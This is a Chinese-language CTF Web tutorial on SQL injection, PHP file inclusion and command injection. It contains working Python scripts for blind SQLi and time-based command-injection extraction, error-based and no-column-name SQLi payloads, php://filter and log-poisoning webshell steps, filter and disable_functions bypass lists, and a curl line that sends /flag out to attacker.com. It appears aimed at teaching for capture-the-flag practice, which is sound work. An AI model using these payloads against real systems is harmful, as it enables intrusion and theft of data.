引言三类题型为什么是Web方向的地基在CTF的Web方向里SQL注入、文件包含、命令执行几乎是出现频率最高的三类题型。它们看似分属不同漏洞家族但从攻击者的视角看本质是同一件事用户可控的输入跨越了数据与代码的边界被送进了某个解释器。SQL注入输入被送进数据库的SQL解析器文件包含输入被送进PHP的include路径解析流程最终可能触发PHP引擎或伪协议处理器命令执行输入被送进/bin/sh由shell语法解析。新手最常见的痛点是拿到题目后不知道从哪里切入payload全靠背遇到过滤就卡死。真正可靠的解法是建立一套定位解释器 → 探测过滤 → 构造语法 → 建立回显通道的方法论。本文按这三类题型拆解核心原理并给出可复用的实战脚本与踩坑清单。之所以说这三类是地基而不是三个孤立的考点原因有三点。第一它们覆盖了Web安全最核心的信任边界问题——数据与代码的混淆Confusion of Data and Code。无论是SQL、PHP还是shell漏洞的本质都是同一段字符串既被当作数据、又被当作指令这是注入类漏洞的母题。第二它们的利用链条高度相似都要先探测过滤规则再根据可用字符集构造等价语法最后想方设法建立回显通道。学会了SQL注入的绕过思路迁移到命令执行往往只需要换几个字符。第三在真实CTF比赛中这三类题型往往是复合出现的一道题可能先用文件包含读源码发现SQL注入点再用命令执行拿flag。只掌握单点技巧的人会在链条题上寸步难行。从学习路径上建议的顺序是先吃透命令执行语法最短、反馈最直接再攻文件包含理解PHP的文件处理机制最后啃SQL注入语法最复杂、变种最多。每一类都要做到能自己写出脚本而不是能看懂别人的脚本。一、核心原理三类漏洞的统一视角1.1 SQL注入SQL注入的根因是字符串拼接构造SQL语句。当代码写成$sqlSELECT * FROM users WHERE id $id;攻击者提交1 or 11语句结构被改变原本的数据变成了逻辑条件。解题时通常按以下顺序推进判断注入类型数字型 / 字符型 / 闭合符号、、)判断回显联合查询UNION→ 报错注入extractvalue/updatexml→ 布尔盲注 → 时间盲注确定列数与回显位order by n二分定位union select 1,2,3找显位取数据database()、group_concat(table_name)、group_concat(column_name)。联合查询走不通时布尔盲注是通用退路。它的核心是构造一个真假可区分的条件再逐字符二分。关于注入点的位置新手往往只盯着URL参数实际上所有进入SQL语句的数据都可能成为注入点GET/POST参数最常见Cookie如$_COOKIE[user]被直接拼进查询常出现在登录状态校验逻辑里HTTP HeaderUser-Agent、Referer、X-Forwarded-For被写进日志表或访问统计表时都会形成注入二次注入数据入库时被addslashes转义但取出后未再次转义就拼接进新语句。判断字符型与数字型的实操方法数字型注入?id1 and 11与?id1 and 12返回不同字符型则需要先闭合引号?id1 and 11与?id1 and 12才能区分。如果?id1直接报错说明闭合符号就是单引号如果?id1正常而?id1-- -报错说明闭合符号可能是)或)需要逐个尝试。报错注入的原理值得单独说明。extractvalue()和updatexml()是MySQL处理XML的函数当第二个参数不是合法的XPath表达式时MySQL会把错误信息回显出来而错误信息里包含了我们传入的字符串-- extractvalue 最多回显 32 个字符超长需用 substr 分段andextractvalue(1,concat(0x7e,(selectdatabase())))-- 等价写法andupdatexml(1,concat(0x7e,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase())),1)0x7e是~作用是让错误信息有一个明显的起始标记方便从一大堆报错文本里正则提取。注意报错注入有长度上限约32字节取长数据时必须配合substr(...,1,31)、substr(...,32,31)分段这是很多人明明payload没错却只拿到半截数据的原因。宽字节注入是字符型注入的一个经典变种当数据库使用GBK编码时addslashes会把转义成\即%5c%27但攻击者提交%df%27%df%5c会被GBK解析成一个合法汉字%27就漏了出来重新变成单引号。这是编码层与转义层不一致导致的经典绕过。堆叠注入则依赖mysqli_multi_query()或 PDO 模拟预处理允许一次执行多条语句从而可以; insert into ...、; update ...甚至在没有回显时通过写文件、改数据来间接拿flag。1.2 文件包含PHP中include($_GET[file])这类动态包含是典型入口。它有两种走向本地文件包含LFI读服务器上已存在的文件如/etc/passwd、日志、/proc/self/environ远程文件包含RFIallow_url_includeOn时可直接包含远程URL但现代环境几乎默认关闭。真正让LFI具备任意代码执行能力的是PHP伪协议协议用途php://filter读取源码base64编码避免被当PHP执行php://input读取POST原始数据配合allow_url_includedata://直接内联数据形同RFIzip:///phar://包含压缩包内文件绕过后缀限制例如?filephp://filter/convert.base64-encode/resourceflag.php服务端会把flag.php当文件读出来再base64编码从而避免被PHP引擎执行直接泄露源码。补充几个同样常用的协议与路径它们在不同题目里能救命协议/路径用途expect://需要 expect 扩展可直接执行命令出现即RCEcompress.zlib://读取压缩流常用于绕php://关键字过滤file://读本地文件某些场景可绕过协议白名单glob://配合opendir列目录常用于open_basedir限制下探测文件/proc/self/environ环境变量若可控则可写入PHP代码/proc/self/cmdline查看当前进程启动参数常泄露flag路径/var/log/nginx/access.log日志包含的经典目标/var/lib/php/sessions/sess_PHPSESSIDsession文件包含include、include_once、require、require_once的差异也要清楚include在文件不存在时只产生警告脚本继续执行require会产生致命错误并终止脚本。这决定了很多题目包含失败后页面还能不能继续输出——如果页面直接白屏说明用的是require。php://filter 过滤器链是近年的高频考点。除了最基础的convert.base64-encode还可以用convert.iconv.*系列做字符集转换把任意二进制内容拼成合法PHP代码从而在无法写文件的场景下实现RCE。常见的构造方式是先convert.base64-decode吃掉非base64字符再用多个convert.iconv组合生成所需字符最后追加resource指向被包含的文件。这条链的原理是利用过滤器的解码容错性丢弃垃圾字符理解之后很多看起来像黑魔法的payload就变得有迹可循。日志包含的完整流程值得走一遍先访问目标站点把?php eval($_POST[1]);?写进User-Agent然后?file/var/log/nginx/access.log包含日志文件。踩坑点在于日志路径要猜Apache可能是/var/log/apache2/access.log日志权限要可读且被包含后日志中的其他内容会作为HTML输出可能干扰马儿的执行——所以通常用eval而不是system或者配合? ... ?php做分段。session包含存在条件竞争需要一边请求写入session如通过可控的用户名一边请求包含session文件。因为session文件在脚本执行结束后才落盘所以要用多线程脚本反复请求成功率取决于时序。1.3 命令执行当代码出现system()、exec()、shell_exec()、popen()、反引号时就存在命令注入。关键在于shell的元字符;、\n顺序执行|、||、、管道与逻辑控制、$()命令替换。所以?ip127.0.0.1;id、?ip127.0.0.1|id、?ip127.0.0.1%0aid都可能成功。把危险函数按是否有回显分类能显著加快判断速度函数回显说明system()有直接输出到页面passthru()有输出二进制也友好shell_exec()无返回字符串需echoexec()无返回最后一行需var_dumppopen()/proc_open()无需手动读流 无反引号等价shell_execpcntl_exec()无不经过shell元字符无效一个容易混淆的点命令执行与代码执行不是一回事。eval()、assert()、create_function()、preg_replace的/e修饰符PHP7属于代码执行注入的是PHP语法而非shell语法而system()系列是命令执行注入的是shell语法。看到eval($_GET[a])却去构造;ls是典型的进错了门正确姿势是构造phpinfo();或system(ls);。另外要区分拼接进shell和拼接进参数数组。如果代码是system(ping -c 1 . $ip)元字符全部有效如果代码是system(escapeshellarg(ping -c 1 . $ip))元字符被引号包裹此时要考虑escapeshellarg的绕过如参数注入、-o之类的选项注入。理解注入的是shell还是程序参数决定了你能不能构造出有效的payload。二、实战案例案例一布尔盲注脚本化题目无回显、无报错只能通过页面内容差异判断真假。此时必须写脚本人工猜解效率极低。importrequests URLhttp://target.com/index.phpMARKYou are in# 真值页面的特征字符串flagforposinrange(1,60):low,high32,127whilelowhigh:mid(lowhigh)//2# 二分判断第 pos 个字符的 ASCII 是否大于 midpayload(f1 and ascii(substr((select group_concat(flag) ffrom flag),{pos},1)){mid}-- -)rrequests.get(URL,params{id:payload},timeout5)ifMARKinr.text:lowmid1else:highmidiflow32:breakflagchr(low)print(f[]{flag})print(FLAG ,flag)这段脚本把每次判断压缩成一次HTTP请求字符集126个字符只需7次请求。实践中要注意两点一是-- -后面的空格必须保留MySQL注释要求--后跟空白二是特征字符串要选页面中稳定、唯一的片段否则会误判。再补充几个脚本层面的优化点第一requests.Session()复用连接能显著提速盲注动辄几百次请求TCP握手开销不可忽视第二加上try/except与重试靶机不稳时一次异常就会导致整串flag错位第三把MARK做成可配置项遇到真值页面长度不同的题目时改用len(r.text)比较第四二分时若结果落在不可见字符区间32说明数据已取完及时break避免死循环。案例二伪协议读源码给出如下代码?phphighlight_file(__FILE__);$file$_GET[file];include($file);直接传?fileflag.php会被当作PHP执行看不到源码。正确姿势是让php://filter接管?filephp://filter/convert.base64-encode/resourceflag.php拿到base64串后解码即可。如果过滤了php://可以尝试大小写混写、双写phpphp://、或换用php://filter/readconvert.base64-encode/resourceflag.php的完整写法。若题目允许上传文件如图片马还可以用zip://组合?filezip:///var/www/html/upload/evil.jpg%23shell.php%23即#用于分隔压缩包路径与内部文件名。关于后缀限制还有一个经典场景代码写成include($_GET[file] . .php)此时?fileflag会变成flag.php。绕过思路包括用?截断?filehttp://attacker.com/shell.txt??之后被当作查询串.php被丢弃需allow_url_include、用#截断、或用php://filter/.../resourceflag.php让resource吃掉后面的.php部分写法下可行。这些技巧依赖PHP版本与配置实战中要逐个尝试。案例三无回显命令执行的外带很多命令执行题目关闭了回显或disable_functions禁用了system。此时需要建立带外通道OOB?php$ip$_GET[ip];system(ping -c 1 .$ip);假设靶机可出网可用DNSLog或自己的VPS接收数据# 1) 简单连通性验证?ip127.0.0.1;curlhttp://attacker.com/whoami# 2) 带出文件内容base64 去掉换行再替换 URL 不安全字符?ip127.0.0.1;curlhttp://attacker.com/$(cat/flag|base64 -w0|tr/-_)注意base64输出含、/、直接拼进URL会被截断或转义必须替换或做URL编码这是最容易翻车的细节之一。如果靶机不能出网外带就失效了此时改用时间盲注构造?ip127.0.0.1;if [ $(cat /flag|cut -c1) f ]; then sleep 3; fi通过响应时间判断字符。这条路子稳定但慢脚本化是必须的。另一种思路是写文件?ip127.0.0.1;echo ?php eval($_POST[1]);? /var/www/html/shell.php前提是Web目录可写且知道绝对路径。案例四报错注入与无列名注入当页面有报错回显、但union select被过滤时报错注入是首选。完整流程如下-- 1. 先确认报错注入可用?id1 and extractvalue(1,concat(0x7e,version()))-- - -- 2. 爆当前库 ?id1andextractvalue(1,concat(0x7e,database()))-- --- 3. 爆表名注意32字符上限需分段?id1andextractvalue(1,concat(0x7e,substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()),1,31)))-- --- 4. 爆列名、爆数据依此类推如果information_schema被过滤常见于WAF可以尝试无列名注入利用union select 1,2,3的列位置配合(select 1,2,3)构造临时表再用别名引用从而在不查information_schema的情况下拿到数据。核心payload形如?id-1unionselect1,(selectgroup_concat(a)from(select1asa,2asb,3asc)x),3-- -这里的x是必须的派生表别名MySQL要求子查询必须有别名这是很多新手写错后一直报语法错误的原因。案例五命令执行的时间盲注脚本针对无回显、不能出网、但能触发sleep的场景可以写一个和SQL盲注几乎同构的脚本importrequests,time URLhttp://target.com/index.phpflag# 待执行的命令模板判断 /flag 第 pos 位是否为 chCMDif [ \$(cat /flag | cut -c{pos})\ \{ch}\ ]; then sleep 3; ficharsetabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-forposinrange(1,60):foundFalseforchincharset:cmdCMD.format(pospos,chch)payload127.0.0.1;cmd t0time.time()try:requests.get(URL,params{ip:payload},timeout10)exceptrequests.exceptions.Timeout:passcosttime.time()-t0ifcost2.5:# 明显超过正常响应时间flagchprint([],flag)foundTruebreakifnotfound:breakprint(FLAG ,flag)这个脚本的关键在于基线测量先请求一次不含sleep的payload记录正常耗时再设置一个明显高于基线的阈值如2.5秒。网络抖动大的时候可以把sleep调大到5秒、阈值调到4秒用时间换准确率。三、踩坑与优化建议SQL注入方面空格被过滤用/**/、%09、%0a、括号替代如union/**/select逗号被过滤substr(str from 1 for 1)、limit 0,1改写关键字被过滤selselectect双写、SeLeCt大小写、/**/插空union走不通时别硬刚果断切盲注时间盲注优先用sleep()被禁则用benchmark()别忽略二次注入入库时转义、出库时拼接是绕过addslashes的常见思路。文件包含方面php://input需要allow_url_includeOn且要配合POST body包含日志需先污染日志UA、Referer写马再包含/var/log/nginx/access.log注意日志路径与权限session包含存在条件竞争需一边写session一边包含open_basedir会限制包含范围此时考虑php://filter链或glob://列目录高版本PHP可用filter chainconvert.iconv系列构造任意内容从而在无文件写入权限时实现RCE。命令执行方面空格绕过${IFS}、$IFS$9、、%09关键字绕过c\at、cat、$at、/???/??tdisable_functions禁用常见函数时尝试LD_PRELOAD、imap_open、pcntl_exec、mail()的第五参数无回显优先考虑时间盲注sleep 5、写文件到Web目录、DNS外带、反弹shell命令长度受限时用a、lsa、sh a分步构造或base64分段拼接。通用优化把重复操作脚本化字典化不要手点每次请求都记录请求与响应方便回溯先做信息收集robots.txt、www.zip、/.git/、备份文件往往比硬打漏洞更快打完复盘把payload沉淀成自己的模板库。常见问题 FAQQ1拿到一道题怎么快速判断属于哪一类先看源码里有没有明显特征出现SQL关键字拼接select ... where就是注入出现include/require/file_get_contents就是文件包含出现system/exec/反引号就是命令执行。如果拿不到源码就看参数行为?id1 and 11有差异是注入?filexxx能读文件是包含?ip127.0.0.1;id有命令输出是命令执行。Q2为什么payload在本地能跑靶机上就不行最常见的原因有三个PHP/MySQL版本差异如preg_replace /e在PHP7被移除、information_schema在MySQL 8有变化、配置差异allow_url_include、open_basedir、disable_functions、以及WAF/过滤器的存在。遇到这种情况先用最简payload探测哪些字符被吃了再逐层加复杂度。Q3sqlmap跑不出结果怎么办先确认手注能不能通。如果手注能通而sqlmap不通通常是--level/--risk不够或需要指定--techniqueB盲注、--dbmsmysql、--tamper脚本。如果手注也不通那问题不在工具而在注入点或过滤规则本身先回去做信息收集。Q4php://filter读出来是乱码说明目标文件本身是二进制如图片、压缩包base64之后仍然是二进制。此时可以叠加过滤器比如convert.base64-encode|convert.base64-decode先做一次规整或用string.strip_tags去掉HTML标签。也可能是因为你没有做URL编码、/被当成特殊字符处理了。Q5system被disable_functions禁用了还有救吗有但要分情况。如果只是禁了systemshell_exec、passthru、popen、反引号可能还活着如果全禁了可以看LD_PRELOAD需要能上传.so且能触发新进程、imap_open需imap扩展、pcntl_exec需pcntl扩展、mail()的第五参数sendmail路径可控。这些绕过方式依赖具体环境逐个试比死磕一个更高效。Q6命令执行了但页面没回显怎么确认真的执行了最快的验证方式是时间盲注?ip127.0.0.1;sleep 3如果响应明显变慢说明命令执行成功只是没有回显。接下来再考虑外带、写文件或反弹shell。切忌在没有验证执行成功的情况下就盲目构造复杂payload。Q7文件包含题目里?file/etc/passwd报错是什么原因可能是路径不对不同发行版路径不同、权限不足、或open_basedir限制。先试/etc/passwd、/etc/hosts、/proc/self/cmdline这几个必存在且通常可读的文件能读通说明包含本身没问题读不通就是路径或权限问题。Q8怎么避免背payload每写一个payload都问自己三个问题这个payload改动了哪一层语法它为什么能生效如果某个字符被过滤我还能用什么等价写法把这三个问题答清楚payload就不再是咒语而是可推导的表达式。这也是本文反复强调统一视角的原因。四、总结与展望SQL注入、文件包含、命令执行三类题型表面上考的是不同的payload技巧深层考的是同一个能力识别输入流入的解释器理解该解释器的语法边界并用最小的语法改动让数据变成代码。掌握这一点遇到新题型时也能快速迁移。从趋势上看CTF题目正在变得越来越复合SQL注入结合WAF绕过、文件包含结合phar反序列化、命令执行结合disable_functions绕过单一知识点已很难通关。同时自动化工具sqlmap、LFI Suite与AI辅助的payload生成正在降低入门门槛但也让理解原理变得更重要——工具报错时只有懂原理的人知道下一步该往哪走。防守侧的结论同样清晰SQL用参数化查询Prepared Statement彻底切断拼接文件包含用白名单映射禁用allow_url_include命令执行避免拼接改用参数数组形式调用如Python的subprocess.run([...])、PHP的escapeshellarg。永远不要相信用户的输入这句话在三类题型里被反复验证了二十年。最后给正在入门的朋友一句建议不要追求收集更多payload而要追求能把一类题从零推到flag。更多硬核网安与AI工具包请扫码获取完整源码真正的能力不是记住一百个payload而是面对一个从未见过的过滤规则时能安静地坐下来一步步探测、推导、构造直到页面回显出你想要的那串字符。